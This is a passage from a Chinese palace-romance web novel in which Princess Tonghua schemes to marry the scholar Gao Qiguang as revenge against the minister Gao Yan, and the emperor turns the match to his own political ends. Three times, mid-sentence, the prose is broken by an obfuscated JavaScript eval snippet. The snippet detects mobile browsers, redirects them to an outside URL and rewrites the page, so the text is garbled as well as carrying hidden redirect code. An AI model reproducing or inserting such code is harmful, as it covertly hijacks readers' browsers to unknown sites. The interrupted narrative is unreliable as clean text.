他惊讶也罢,羡妒也可,却竟是横眉怒目,脱口质问。高琰万没料到,反被震得半晌无言,一股血气涌上头来。可高惑根本不觉,气息急促,双目圆睁,又反问道: “姑母不知,难道父亲也不知?高齐光虽未娶妻,却早有一妾,上京赴任,身无长物,连屋舍都租不起,却还要将那女子携带身边,如此系臂之宠,已露灭妻之嫌,纵有功名傍身,也是私德不修。安喜公主生于公宫,就养紫庭,天潢贵胄,岂能受此折辱?!” 他声如其情,字字高涨,简直已没了父子纲常的礼序,就如判官罚罪,马上便要处以极刑。 高琰忍到此处,两肩身躯已控制不住震颤,额上青筋裂石一般暴突出来,终于扬起一掌,狠狠向这逆子劈下: “畜生!你以为我不知你想得什么?!你也想同你兄姐一般,适配皇家,既嫌他高齐光宠妾无度,怎么不想你——亦是婢妾之子?!” 高惑被那重重一掌扇翻在地,顿时口吐鲜血,还无力抬头,却已清醒地接到了父亲的明断,“儿……自是婢妾之子,”他咬牙一点点抬起麻木的脸孔,唇角似有笑意般微微抖颤,“所以,儿此生,便定不会生下婢妾之子。” 高琰自暴怒中渐渐蹙眉,恍然才觉不可思议,他这个尚未加冠的文弱幼子,是一直有如此钢骨,还是忽然为女人生出了这舍生取义般的凛然。他不欲分辨,终究觉得无用。 “你下去吧,什么时候想明白,什么时候再入宫。” 父亲的发落是不必预料的,高惑垂首整衣,缓缓向堂上跪拜了一礼,起身出阁之际,方作一顿: “安喜公主,愿意么?” 高琰望见他惨白的面容上一双殷红的眼睛,似有乞求,又耿直得像是逼迫,不知为何心意一松:“公主婚事自从陛下之意。”深吸了口气,又道:“你姑母说,公主已见过他。” 高惑没有再细问下去,沾血的嘴唇微微抿紧,复一拱手,跨过门槛,踽踽离去。 书房方才沉静下来,高琰却忽觉一阵目眩,忙以双手撑案,不料身躯晃动,力道涣散,将手边一方白玉辟雍砚拂落在地。本非稀奇珍宝,可高琰竟一下扑去抱进了怀中,又不顾墨汁横流,只将此物正反左右细细检查,一双手染得乌黑。 活像是着了魇。 此刻日薄西山,橙红似血的残阳透窗而入,从并未闭紧的房门处投下一个峨髻削肩的人影。这妇人旁观已久,一无进门的意思,神态安详,似在欣赏那腰金衣紫之人罕见的落魄。 * 皇帝此日于内朝理政,午后小歇,方才醒来,便见皇后盈盈含笑,踏入宣室,接了冠带等物,要亲自服侍更衣。皇帝只觉她必有其事,一面由她动作,一面便道: “此等事体,何劳皇后亲为?若有什么缘故,只说便是。” 高玉一味低眉的姿态,柔声道:“妾年过四十,容色日衰,难慰圣心,也在常理。只是妾每独处,便会想起与陛下少年结发之事。当年陛下还是夏王,妾年才及笄,新做了王妃,每日都会侍奉陛下穿衣栉发。” 快三十年的恩情,忽被她婉转提起,萧平也难免顾念起来,宽慰道:“朕看皇后一丝白发尚无,哪里就说自己老了?难道是蓬莱与驸马闹了什么不悦,叫你烦心了?” 高玉笑笑,取来十三环玉带自腰后为萧平束好,眼眸流转,方缓缓道:“妾既幸得备数后宫,怎能只顾私心?蓬莱大事已了,迁儿的王府里也已添了两个小皇孙,妾身边便只剩了同霞。算来她也快到十五,陛下该想想她的婚事了。” 自这幼妹去到高玉身边抚养,萧平常因她厚此薄彼心生不满,便着实不料她能有此心,惊喜道:“皇后所虑确也是朕的心事,只是朕尚未觅得人选,皇后难道是有了?” 却不待高玉回答,笑意淡去,又问道:“皇后是想说,高惑?朕知道,他与小十五是自幼相熟的。” 高玉才为开场顺利而心中窃喜,皇帝忽然改色倒罢了,奈何高惑却实在从未入她心计,一时只觉冤枉,又明白脱不开这嫌疑,只好掩饰: “高惑虽是妾的内侄,却尚未成人,又是庶子,自与公主不配。陛下莫急,其实这人选并非妾先有意,而是,公主自己青眼暗许。” “什么?”萧平这才大觉意外,瞥眼侍立一侧的陈仲,将室内余人一概遣了出去,“是谁?几时的事?” 皇帝这番忧切态度,便将高玉的嫌疑一时洗清了,她恢复从容,自袖中取了一个册子呈上:“陛下看看,妾不敢隐瞒,此人倒确也与哥哥有些渊源。” 萧平展册看时,入眼便是“高齐光”三字,原来就是此人的家状。年岁形貌、登科名次、任官履历,一并三代名讳,父祖存殁等实情皆写得一清二楚。 见萧平阅览入神,高玉也不免适时说起公主与此人杏园会面之事,到底未见圣颜再怒,更觉踏实,又道: “公主向来有主见,识人断事,聪慧清明。就如正月尚服局之事,若非她有心,妾也尚未发觉宫中人事竟怠惰至此。妾抚养她一场,名虽姑嫂,情如母女,岂不望她如愿遂意呢?” 萧平默默听来,合上状册,缓缓却道:“只是,朕看此人倒还不如高惑啊?” “妾……”高玉终于结舌,再不似先前还能遮掩面色,正越发焦急无措,却又闻皇帝朗声一笑道: “那朕的许国公,又是如何以为的呢?” 许国公是高琰的爵号,高玉甚少听皇帝这般称呼他,慌促间倒将兄妹间的筹谋记了起来,描补道: “哥哥只说,公主为陛下钟爱,婚事自该由陛下做主,妾只是……只是看公主有意,此人也好歹是个青年俊才。毕竟,国朝还从未有过进士出身的驸马。” 话音方落,萧平清咳了声,目光斜睨,倒带出一丝笑意:“这话不错,本朝历来皆从世家勋贵卓选驸马,但若招寒士为皇婿,倒也能为朕笼络天下士子之心——这也是许国公之意吧?” 简 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16655834|188272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直一字不差。 但高玉再也不敢擅言,只低头称:“前朝国政,妾深宫妇人,不敢有涉。” 萧平又作轻笑,终道:“皇后先回去吧,朕已知皇后心意。” 高玉心乱如麻,皇帝既不再深究,只忙从速抽身,拜礼告退。 内官陈仲久侯门下,待送毕凤驾,仍入内承奉,说道:“陛下,可是要传高相入见?” 萧平站立中央,扬起仍握在手中的状册,却讥笑道:“他们以为,朕到今日才知此人?或者高琰以为,朕已经忘了当年他们高家赐给朕的恩德,又要朕再记一笔?!” 陈仲暗暗吸气,低头躬身不敢应答。萧平冷冷地哼了一声,忽将状册掷在地上,指道: “拿去给德妃瞧瞧,就说朕为七郎择了一位良师。” * 皇帝以弘文馆直学士高齐光为济阴王师的消息,隔日便是前朝内廷无人不知的了。 此事看上去虽只是帝子择师的常事,这老师也不过是个好命的后生小吏。可实际上,这好命的小吏是因首相高琰的青眼才有这好命,而高琰网罗门生,哪里是为别家皇子做嫁衣的呢? 更何况,皇帝即位已有三载,尚未立储,肃王萧迁养在高皇后膝下,几乎已是既定的太子;而济阴王虽年少,母亲却宠眷不衰,母子行事谦卑,也甚得皇帝赞许。 于是,众口议论,不必抽丝剥茧,便知此中真谛:不知高琰哪里得罪了皇帝,两朝重臣,帝王国舅,竟被如此戏弄。 鹤羽宫肃雍堂中,当萧遮如临大敌一般,将事情对同霞倾诉,一腔忧虑却只得到她的几声讪笑: “你只管跟他读书,遵君父之命,有什么好怕的?” “我哪里是怕他?”萧遮还是苦着脸叹气,“我听人说,高相原是想叫高齐光去做肃王友的,现在莫说是高家,就是大哥面前,我也难自处了。阿娘也很担心,这几日都寝食难安的。” 听他惦记母亲,同霞方敛了笑,道:“就无此事,你和你大哥也说不上几句话,何必庸人自扰。不如平常对待,别让你娘再添担心。” 萧遮虽点了点头,仍是愁眉不展:“陛下不是一直很倚重高琰么?这次借个小吏下他的颜面,到底什么缘故?” 同霞抬了抬眉,若有所思,半晌只摇头,“前朝的事我也不懂,你早些去陪你娘吧。若还不好,我明天也去看她。” 萧遮倾吐至此,也算郁闷稍解,起了身:“明日若是过去,记得穿件氅衣,还没到暖的时候呢。” 同霞含笑应下,将他送至门外,转回时却见稚柳忽然立在帐下,想起似乎有半日没瞧见她了,便问:“你去哪里了?”不及她回答,目光瞥见她足下,却是沾了些湿泥: “你去西苑马坊见李固了?” 稚柳面色发白,只道:“公主当真不知陛下为何有此举?” 同霞垂在身侧的手不觉握了握,“是我做的,做得很好,不是么?高琰不会知道,是我算计了他。” 稚柳眼中落下泪来:“用自己的终身去算计,高家也配?” 同霞未置可否:“所以你是怎样知晓?我原想事成之后再告诉你的。” “妾为公主装扮那日,心存疑惑,便偷偷跟了去。只是妾愚笨,到今天才想明白。” 同霞想也只能是如此,道:“那你找李固,是想叫他传话给阿翁,让阿翁劝阻我么?”轻笑又道: “精卫为报溺身之仇,衔微木以填沧海,我有灭族之恨,如何却做不得精卫?” 稚柳像是初知这严誓,难以置信地摇头:“公主还想如何做?” “你不是知道了么?我要嫁给高齐光。” 5. 不矜帝子 偏于内廷西界的承香殿正是德妃赵氏居处,同霞因由皇后抚育,再与萧遮交好,也甚少踏足此地。是以守殿宫人忽见她到来,都不免慌促,待要行礼通传,又被她拦下: “陛下和七郎都在?” 她举指抵唇作噤声状,宫人便也不敢放声,垂首道:“娘娘近日不安,济阴王昨夜侍奉未离,陛下是散朝后来的。” 同霞合意一笑,悄步入殿,数道帘障之内已低低传来德妃的啜泣声。她仍不动声色前进,直至内殿室外: “陛下,七郎既已受封,按制便不该再留居内廷。妾斗胆向陛下请旨,叫七郎尽早出阁,或者便到济阴郡开府吧!” 国朝皇子受封出阁,自是按部就班的事,同霞还曾与萧遮说起过。目下因这“择师”风波,德妃生出如此决心,既合她母子一向谦卑自抑的品行,便也并不令同霞意外。 话音方落,也听萧遮哽咽之声:“母亲所言正是臣所想,臣乞请陛下允准。” 同霞不觉暗暗咬唇,又向门边贴近,透过窗纱隐约望见了萧平负手站立的身影,忽闻他笑道: “朕看爱妃倒是有些口不择言了,我朝皇子哪有出就藩地的祖制?出阁前还有元服之礼,就是大婚,也是可以一起办的。爱妃不如想想,要为七郎选谁家的女儿呢?” 这话便是了,皇帝果然已有章程。同霞兴奋起来,毕竟她的来意,因这章程就变得顺利多了。 “大婚?”是萧遮惊讶的反问,虽望不见他的面色,想也是窘迫不已,“可臣想……” 不知为何,他竟有些推拒的意思,德妃立马斥道:“七郎!休要陛下面前放肆!” 然而,萧遮竟不顾,又道:“臣只是舍不得小姑姑。她和臣一般年纪,相伴多年,臣不想先她大婚……臣刚刚也说谎了,臣也不想先她离宫。” 字字入耳,只叫同霞鼻内发酸:不过是她随口的戏言,萧遮不仅当了真,又在这当下给了她绝妙的开场。 默然片刻,同霞觉得时机已到,换了副笑脸,一面提裙入内,扬声就道:“七郎不舍,那陛下就赐我们一道大婚便是!” 她骤然出现,不必说是惊吓众人。萧遮愣得眼睛圆睁,皇帝亦脸色起伏,德妃倒吸一气,忙挤眉摇头: “七郎信口胡言,你怎么好随他去闹呢?”瞧了眼上头的萧平,更替她脸红,将她揽到身后,又道: “陛下,妾也实在教不好七郎了,请陛下今日就发落了他,省得他带坏了公主!” 萧遮顿时惶然,颤颤地环视一圈,只好撩袍跪倒,“臣知错。” 同霞却笑出声来,绕开德妃,直接去了皇帝身侧,“陛下听我的,还是娘娘的?”眼珠一转,又指着萧遮道:“七郎是个好孩子,对吧?” 皇帝一副旁观姿态,此刻瞧着同霞这双精透了的眼睛,轻嗤道:“哼,七郎是比你好得多。”便示意一旁的陈仲将萧遮搀起来,反将同霞挽来的手撸了下去: “十五,朕要审你,你还不从实说来?” “陛下……”母子瞧不懂缘由,见状齐声要护同霞,被陈仲摇头拦下,缓缓才退开。 同霞随即敛去轻佻,不慌不忙跪了下去:“回陛下,我就是来说实话的,皇后也已告诉陛下了,我喜欢高齐光,就要他做驸马。” 皇帝饶是知晓底细,也不料她说得如此直白,气急道:“你贵为公主,这是你能说出的话?!那高齐光一介贫士,岂能与你相配?!” 同霞一无惧色,甚至抬起脸来:“陛下不久前还同我说,内廷无拘,只以家人之礼相待,我便只将陛下当长兄,对哥哥自是无不可言。高齐光好歹是个进士,是读书人,与士人为妻,哪里不配?” 萧平听得倒吐气,竟一时不辨情绪,瞪去两眼反叫她腰杆挺得更直,无奈已极,不觉扬手,却终究只是在她额上轻轻点过,“你就这般喜欢他?!” 同霞见状,只觉是机会,挪动膝盖便又依附了上去,乖巧一笑:“哥哥,你就依了我吧!” 皇帝似经不住她柔声软语,一叹:“他究竟好在哪里?!” 同霞极快道:“他才貌俱佳,若是做了本朝第一个进士驸马,虽是出身寒门,或许后世史书也能赞我不矜帝子之尊,是个贤德公主呢!” 皇帝失笑:“你才几岁,就想后世了?” 同霞只越发认真道:“皇后庄重,我却顽劣,一向觉得她不喜欢我,可不曾想她竟是最体贴我的,不惜惹恼哥哥也要为我说话。她哪里不知,将我下嫁寒士更显得她薄待我,可她并没有在乎这些。哥哥,你对我的心还不如皇后么?” 话都被她说尽,道理也被她占尽,萧平凝神半晌,当真再无可言:“朕知道了。” 说罢,萧平便起身踱出了殿外。同霞望着他直至不见,含笑长舒了口气,这才转向那对局外的母子。 “这都是真的?你不就见了他一次么?!”萧遮两步冲到同霞面前,脸色近乎发青。 “这下好了,你的老师成了你的姑丈了。”同霞笑笑,避而不答,走到德妃身前,抬手替她擦拭正在滚下的泪珠,“娘娘,是好事。” 德妃缓缓摇头,将她一双手紧紧攥住:“陛下不在,你同我交句实话,你可是为了七郎才舍了自己的?” 自然不是,但若扪心自问,她也不知该作何定论。而她此刻脑中越发清明的一事,便是萧平自始至终都没有顾惜过她。 萧平身为天子怎么可能左右不了一场婚姻,只不过是以为她当真天真烂漫,一片纯情,便稍假辞色借以粉饰自己的虚伪—— 将心甘情愿的公主指婚寒士,收尽天下清流之心,这本已是顺水推舟,唾手可得的善政。而这善政又恰能用来制衡权臣,便更显得是一件惠而不费的绝妙馈赠了。 “不是。”同霞终究一笑而已。 * 高齐光忽然想起来,第一回在仲春时节踏入国朝的皇城,距今已有五年。那年他十九岁,与参加春闱的士子们一道列于礼部贡院东墙下,等待知贡举礼部侍郎裴昂放出及第进士榜。 他记得自己当时既不紧张,也不急切,只待那张写满功名的长卷在眼前缓缓铺开,才渐与众人共情:原来黄纸淡墨书写的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16655835|188272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 榜文之所以被世人称作“金榜”,并非谄媚的形容,金光熠熠,灼人双目,它是真的在发光。 “高学士,还请快些走吧,莫教陛下久候。” 大内官陈仲的催促声将驻足夹道的高齐光从永贞二十年拽了回来,他拱手揖礼以表惭愧,不意低头的一瞬,一道流光晃了眼睛——是安喜公主的承露囊滑出了袖袋。 锦缎裁成的丝囊,也有不输金榜的耀目光华。去岁上京前,他怎么也没有想到,事情会如此横生变故。 * 今日是高齐光第一次得见天颜。 是以摆于宣政殿御座之后的一道围屏,于安喜公主而言,愈加是形同虚设:她对他将怎样答对天子的赐婚感到无限好奇,好奇到一定会走出来,靠近他,仔细看看他的神情。 想必陈仲已将君王召见的要义透露给他,或是已有参拜皇后的前例,他竟然不见一丝惶恐,一番行礼如仪,风度从容,叫皇帝都不禁抚须沉吟,发出赞赏的轻笑。 同霞亦无声一笑。 他的履历已知,皇帝只先问起他前任所在兖州州学的学务,又试探他是否体察地方实情,见他无一不精,侃侃说来,更是直言夸赞。 虽半晌没有涉及正题,同霞也并不急,却是添了一重享受,不觉入迷。直至皇帝敛笑清嗓,提到了她的名号: “先帝有十五位皇女,如今只余第十五女安喜公主尚未许婚,公主是朕幼妹,朕素来宠爱有加。今日见卿人品才貌,甚合朕心,欲将公主赐婚于你,你可谢恩便是。” 皇帝趁兴的语气很是随和,高齐光也很快撩袍拜倒,但口出之语却不提“谢”字: “臣昧死上禀,臣薄祚寒门,资浅望轻,本不堪匹配陛下爱主,况臣早有一妾,是臣先母临终托付,臣不敢遗弃……” “竟有此事?!”不待他说完,皇帝怒视而起,目光有意划过后屏,又呵道:“好个薄祚寒门,好个母慈子孝,你身为朝官,当知法度,怎敢在朕的面前以妾拒婚?!” 事情突发至此,是同霞筹谋以来的第一次失算,但只是须臾,她忽然从皇帝所言最后的那四个字找到了出路: “陛下问学士公务,学士无所不能,仿佛前任并非区区八品学官,而是一州长吏,可陛下意欲赐婚,学士怎么倒连妻妾正庶,贵贱有别的浅见都不知了?” 同霞扬声质问着现身殿前,微向皇帝颔首,便又下阶向他靠近,直至他额前方停,俯视一笑: “莫不是学士想仿效‘糟糠之妻不下堂’的宋弘,要改作‘贫贱之妾不相弃’?那陛下若依你,恐怕史书青笔不但要记学士一笔罔顾纲纪,还要累及陛下圣明了!” “臣……”高齐光似是滞涩难对,半晌缓缓支起身躯,却又道:“臣只是据实上禀,不愿虚隐求荣,辱没公主——难道公主可以容忍此事?” 这双幽深的瞳仁一如弘文馆初见时,只是那次尚来不及分辨,而此刻却足以叫同霞看清他的挑衅,或者也可以说是,孤勇。 “本公主,不在乎。”她轻微躬身,向他耳畔送去了一句轻飘的笑语。 6. 适我愿兮 或因她并没留给他一丝余闲便昂首转身,又或者是她隐藏于笑靥之下的倔强,因仓促而略失潦草,不慎掉进他的眼中,让他忽觉心魄震颤,他便再也没有与她斗争下去。 只恍如局外人般听她口若悬河,陈奏天子: “陛下,当年皇后为安喜的居处改名‘肃雍’,便是教导我要敬慎其仪,肃雍其德,既要成为高贵的公主,也要成为柔顺的女子。从前安喜年幼顽劣,向来不拘,如今年长,方才懂得道理。况且几代先王也早有严旨,公主下嫁臣僚,须遵照古制,礼同士庶。那么,安喜与高学士为婚,自然就该接受他的一切。” 她说到此地,忽又退回一步,与他并肩跪了下去,继续道:“安喜虽贵为公主,也只是女儿身,受万民供奉,饱食终日,却无处报效。而高学士虽出身寒素,却是年未弱冠,一举登科,可堪天下士子楷模。陛下为安喜择选如此驸马,既能彰显陛下礼重士人之心,也可为朝廷兴贤进士,这便也算是安喜为国尽忠了。” 没有一字是不能叫人动容的,也近乎是一段可以令这位公主名垂青史的出色表现。于是皇帝尚不及听完,已亲自走来扶起她,欲言又止,无限怜惜,终究只对高齐光冷冷道: “公主心地至纯,朕不忍拂之,你当何如?” “臣高齐光,谢陛下天恩,谢公主垂幸。”他最终俯身于地,像是从未推拒般,展露了一番和悦的顺从。 * 高齐光退出宣政殿时仍由陈仲在前领道,只是未及去远,安喜公主却追了上来,遣走陈仲,又将他带到了上回的园林。节气已暖,园中花树都已盛放,他这才辨别出来,白亦不白,红不似红,原是杏花。 “那些糖都吃完了么?” 她的面貌与一刻之前判若两人,倒是与上回在此地时一般无二,只是本已刻意的举动再是衔接得宜,也不免显得几分刁钻,“臣其实,不喜食甜。”他从袖袋中取出那枚丝囊,双手呈去。 同霞略感意外,旋即又笑出来:“你竟然随身带着?” “臣只是想物归原主。” 他虽答得顺畅,目色却有一闪而过的起伏,同霞微微一哂,然后向他贴近了一步:“高齐光,你已经是我的驸马了。” 高齐光平稳地舒了口气,将距离她胸口过近的双手垂了下去,“臣是。”又道:“可是,臣并不明白。” 同霞抿唇一笑:“你觉得我在陛下面前说的不是实话?”不待他回应,又反问:“那你说的都不是假话么?” “臣的家事无可隐瞒,亦无法隐瞒,臣说的是真话。” 同霞轻哼一声,摇头道:“早有一妾是真,认为以妾能拒婚也是真?高学士——你不当是这样不聪明的人。” 高齐光的脸色终于一白。 同霞容他稍歇了歇,向他袖下伸手拿过了丝囊,先取了一块糖放进自己口中,又向他唇边送去一块: “谁不知高琰于你有提携之恩,陛下却叫你做济阴王的老师,你一定很为难。可我是皇后抚养,也可以算是高家的公主,是能保护你的。或者我们只做纯粹的夫妻,不论其他,你看好么?” 糖的甜腻气味冲鼻而来,又自喉舌下抵五脏,上达天灵。明明这只是甜味,柔润而香软,怎么却如椒酒一般,有烈火烹心之力?高齐光额上沁出细汗,紧闭的嘴唇随即松了开来。 同霞看着他含糖入口,展颜一笑:“你看,刚刚若不是我挡在你面前,陛下一定会治罪于你。你信我,便是了。” 甜味在舌苔上弥散开,又如胶漆缠绕齿间,一点点平复了他的心火,“公主,臣尚有一事未及说明。” 同霞点点头:“你说。” “臣的妾室冯氏,已经怀娠三月。” 同霞若参详般沉默了片时,将丝囊收口还了回去,“是好事,殿上那些话你不必在意,无论正庶都是你的孩子,我断不会亏待。若你我大婚之日在她临盆之前,我也会亲自安排照料她的。” 她说完又微微一笑,就此离去。 高齐光第二次被独留原地,连下一个举囊细看的动作都是一样。只是这枚分明少了两块糖的承露囊,竟反比先前沉重,以至于将它举到胸前也费时许久。 他又吃了一块糖,不知为何,心中只觉无边沉闷。 * 陈仲返回宣政殿时,皇帝正负手立于玉阑前,似是凝神,却于他站下当时就开口问道:“十五是见那高齐光去了吧?” 陈仲如实道:“回陛下,正是,看来安喜公主当真十分心仪高学士,陛下要着礼部为公主议婚么?” 皇帝未置可否,只一笑:“先帝在位年久,子女众多,朕为长子,除开和亲西慈的临淮公主比朕年长,余者皆年小于朕,最小的便是十五,足足小了朕三十岁,朕如何能不疼惜?” “陛下宠爱公主,宫中尽人皆知。”陈仲垂首应道。 皇帝又道:“但如今,朕却为她定了这样一门婚事,就算是她自己喜欢,也恐她今后受人讥议。你说,朕做错了么?” 陈仲眼中闪过惊诧,不由更把身躯伏低了些:“臣以为,安喜公主方才在殿上已经说得很好了。” 皇帝朝他看去,觑起了眼睛,如有端量,如有感叹,半晌忽作朗声大笑:“去吧,传朕旨意,安喜公主赐婚弘文学士高齐光,晋位长公主,食实封一千三百户。” 陈仲正欲领命就去,又闻皇帝道:“再晋济阴郡王为许王,命礼部准备他的元服之礼,待卜定公主出降吉期,便叫他同日出阁吧。” 其实国朝皇子按制皆应封为亲王,济阴郡的封号还是皇帝依从赵妃谦请才例外降了一等,距今不过数月。而此时忽然晋封…… 见陈仲迟疑,皇帝再三又道:“怎么?你没听清?那朕再说一遍,朕要封七郎为许王,是许王。” “臣万死!臣领旨。” * 繁京南隅的昭行坊与临近皇城的坊间很不相同,是黎庶簇居之地,向来巷道冷落,风气简素。可如今却因在此安家的弘文学士高齐光新授了驸马都尉,而面貌骤改。 高宅门前狭窄的小巷里,一整日前来拜会的人络绎不绝,车马直排到了大道横街之上。本坊百姓也争相围观,弄得四下喧腾,胜过闹市。 本日正逢高齐光休沐在家,自晨起便一连应对了数十家访客,至午后方得一隙空闲,回到房中吃了口茶。 “这样的日子何时是头?不若称病谢客罢了!” 茶不及饮尽,一名青襦素裙的年轻女子踏进门来,话语面容饱含怨愤。高齐光瞧她一眼,反生笑道: “什么事都由我来承当,你忙什么?” 女子摇了摇头,走到他身侧坐下,又道:“我是在想,以后怎么办。” 高齐光吐了口气,为她斟茶送到手边:“阿黛,别怕。” 二人对视,就此沉默,却没有片刻,忽听门外传来随从荀奉的喊声。大约又有来客,但语调却急促得不寻常。高齐光忙起身迎了出去,正欲询问,目光所见却已能解惑: “公主?!” 同霞一身绿袍银带的穿戴,正和高齐光的官服一般,见他惊诧失语,偏头一笑:“你不必烦恼,我已交代了昭行坊的金吾,凡再有你家访客,一律挡回。”徐徐走来,又道: “我来是告诉你,皇后已为我们择定了吉期,五月初一,你觉得如何?虽快了些,礼仪上的事倒是不必担 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16655836|188272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心。” 此处宅院本陈旧灰暗,顶上缺瓦,窗格不全,她通身也一无跳跃的妆饰,可立在檐下,却如光映绿玉,亭亭其表,无端出挑。 “臣并无担忧。”他答语前方将眼帘低下,“公主微行而来,宫中可知晓?” 同霞摇头,伸手牵住他一只衣袖,目光含笑,辗转落在他身后那个倚门静立的女子面上,“她就是冯氏?” 高齐光并不转看,平和道:“冯氏在后舍安置。她是臣的妹妹,名唤阿黛。” 这女子仍梳双髻,同霞知道她定非冯氏,果见齐光坦诚,微微一笑,走上前去,“如此说来,今后我与高娘子便是姑嫂,看娘子大约比我年长些,就作姐妹相称,也无不可。” 高黛先为公主降临所惊,此刻仍心有惴惴,暗瞥高齐光,缓缓欠身行了一礼:“小女不敢。” 她体态纤纤,眉眼灵秀,因紧张而泛红的脸反显得几分娇媚,只是身上的味道非出兰膏脂粉一类,却是淡淡药香,“姐姐生病了么?” “她自幼喜好医药,在家乡时便是女医。”高黛不防同霞话端另转,怔忪间却是高齐光接了话,又指点她道: “你先下去,看看冯氏。” 同霞并未多管,看高黛离去方又牵起了高齐光的衣袖,看向屋内道:“这是你的书房?” 高齐光颔首答“是”,抬手延请,将她奉至书案上座,亲自倒茶:“臣家中只有清茶,请公主莫怪。” 同霞见他是先拿走了案上倒满的一杯茶才端来此杯,思想前后,便知晓了内情,接下不饮,说道:“你对陛下说冯氏是你母亲托付,她与你家是何渊源?” 高齐光垂手立在案前,答道:“是臣的表妹,她母亲是臣姨母。” “原来也是妹妹。”同霞嗤声一笑,再三拽他衣袖,叫他身畔坐下,又道:“看来你们族中男孩少,女孩多,未必冯氏腹中不是位千金,你喜欢女孩还是男孩?” “臣……”她满口乱弹,高齐光难料她下一句又落在哪处,不觉发怔,面色微微一红,“公主私出宫禁,不怕陛下着急么?” “可是高黛与你长得不大像,她多大了?可曾许婚?” 果然她当自己的话如耳旁风般,又是语出惊人,齐光不由暗暗屏气,方道:“阿黛生得像臣的母亲,臣像先父多些。她是永贞六年生人,十八岁了,十岁时便定了人家,只是男家迁居外地,失了音讯,臣也尚在寻找中。” 这人先是害羞,又作慌促,虽只极吝啬地显露了分毫,也是先前未见的景象,同霞只觉新鲜,缓缓捧腮凑近:“我们成婚之后,你还会纳妾吗?” 齐光咽喉一哽,为她这突转的话端,也为她说话的双唇此刻就近在毫厘,他只要微动便能—— “啊!”她一味向前挪动,却不见已到书案边界,撑在案上的双肘顿时滑空了下去。 千钧之际,齐光倾身相抵,正将她接入怀中,“公主,要当心。” 她前额撞在他肩上,虽有衣袍,仍觉骨骼坚硬,吃了个闷痛,“你就不能吃胖些?” 她人未支起,抱怨先出,齐光也唯有无奈,“此地离皇城路远,时辰不早,公主还是早些回宫吧。” 同霞这才歪头看了眼天色,重新坐好,摸着痛处道:“你还没有回答我,你说了,我就走。” 他抿了抿嘴,道:“臣一向饮食简薄,也一向是如此身量,没有胖过。” 同霞觉得头更痛了:“我是指这个?”气得立马起身冲向门外,却又骤然回头:“你的意思是,你还会纳妾?” 齐光也已追来,顿足两步之外,忽然忍俊不禁:“臣,不会。” 同霞一怔,脸颊倏然红透。 7. 碧海难奔 同霞微行出宫,只有稚柳相随。同霞与齐光书房说话时,她就守在门外,而宅舍失修,并不隔音,她句句都听得清楚。但却实在无法理解同霞的心思,一待回到肃庸堂,便忍不住问道: “公主特意跑去问他那些话,究竟是在意还是不在意?” 同霞一无波动,自己松解了袍服,方说道:“其实我也不知,就觉得与他亲近,有益。” 稚柳皱眉摇头,走到她近前:“公主下嫁,本没有必要假以辞色,况且原来他身边还不止一个女子,公主就真信他的话?” 她句句在理,但同霞却不想深究,静了片时,道:“他如何都是认识我之前的事,我庆幸他是不曾娶妻的。” “庆幸?”稚柳一惊,将她双手握住,竟觉凉透。 同霞略显吃力地抿了抿唇:“那日在殿上,他忽然说自己有妾,我真的吓了一跳,冲出去替他说话,怕陛下反悔,事便不成了。可陛下……萧平只是隔岸观火,看着我为他的朝局豁出自己的终身。于是对于高齐光,我反而生出了几分同情,觉得他比我还无路可走。” 稚柳无言,眼中浮现泪光。 同霞一笑,又道:“你不要对他心存恶意,我既与他成了夫妻,那就是当真的了。” “公主是喜欢上他了?”稚柳是如此直觉,但很快又自悔失口,“妾去叫人准备浴室……” “夫妻之间若有情,也是好事。”同霞却大方地给了她回答。 稚柳愣在原地,半晌只叹了一声,才要继续动作,却又见外间小婢进来通传道:“公主,许王有急事求见。” * 萧遮晋封许王,承香殿也是门庭若市,同霞便不好再多交集,连日都作了回避。可萧遮这一来,竟是二话不说将她带到了皇城东南的角门上,举动犹为诡异。 “到底要做什么?!” 总算站下,同霞早已急不可耐,语带恼怒向他质问,却忽见他神色一沉,抬手指向路前树下: “是高惑哥哥。他听闻皇后娘娘要将你指婚高齐光,便顶撞了他父亲,被禁足在家。今日逃出来,是想见你最后一面。” 可同霞连日竟丝毫没有想起他来。 他还是深衣青褾的学子穿戴,见她目光转去,拱手深揖了一礼。同霞于是缓缓走近,方发觉他瘦了许多,面颊唇上也不见血色。 “公主当真愿意嫁给高齐光么?” 他向来极有分寸,不料也能这般开门见山,想象他如今境地,同霞不由垂目:“圣旨已下,我自然要嫁他的。” “臣问的是,公主愿意么?” 他忽然抬高声调,同霞似乎才觉自己答非所问,心中一虚,攥了紧双手。 高惑全都看在眼里,心气顿时溃散,声音哽咽:“对不起,臣吓到公主了。” 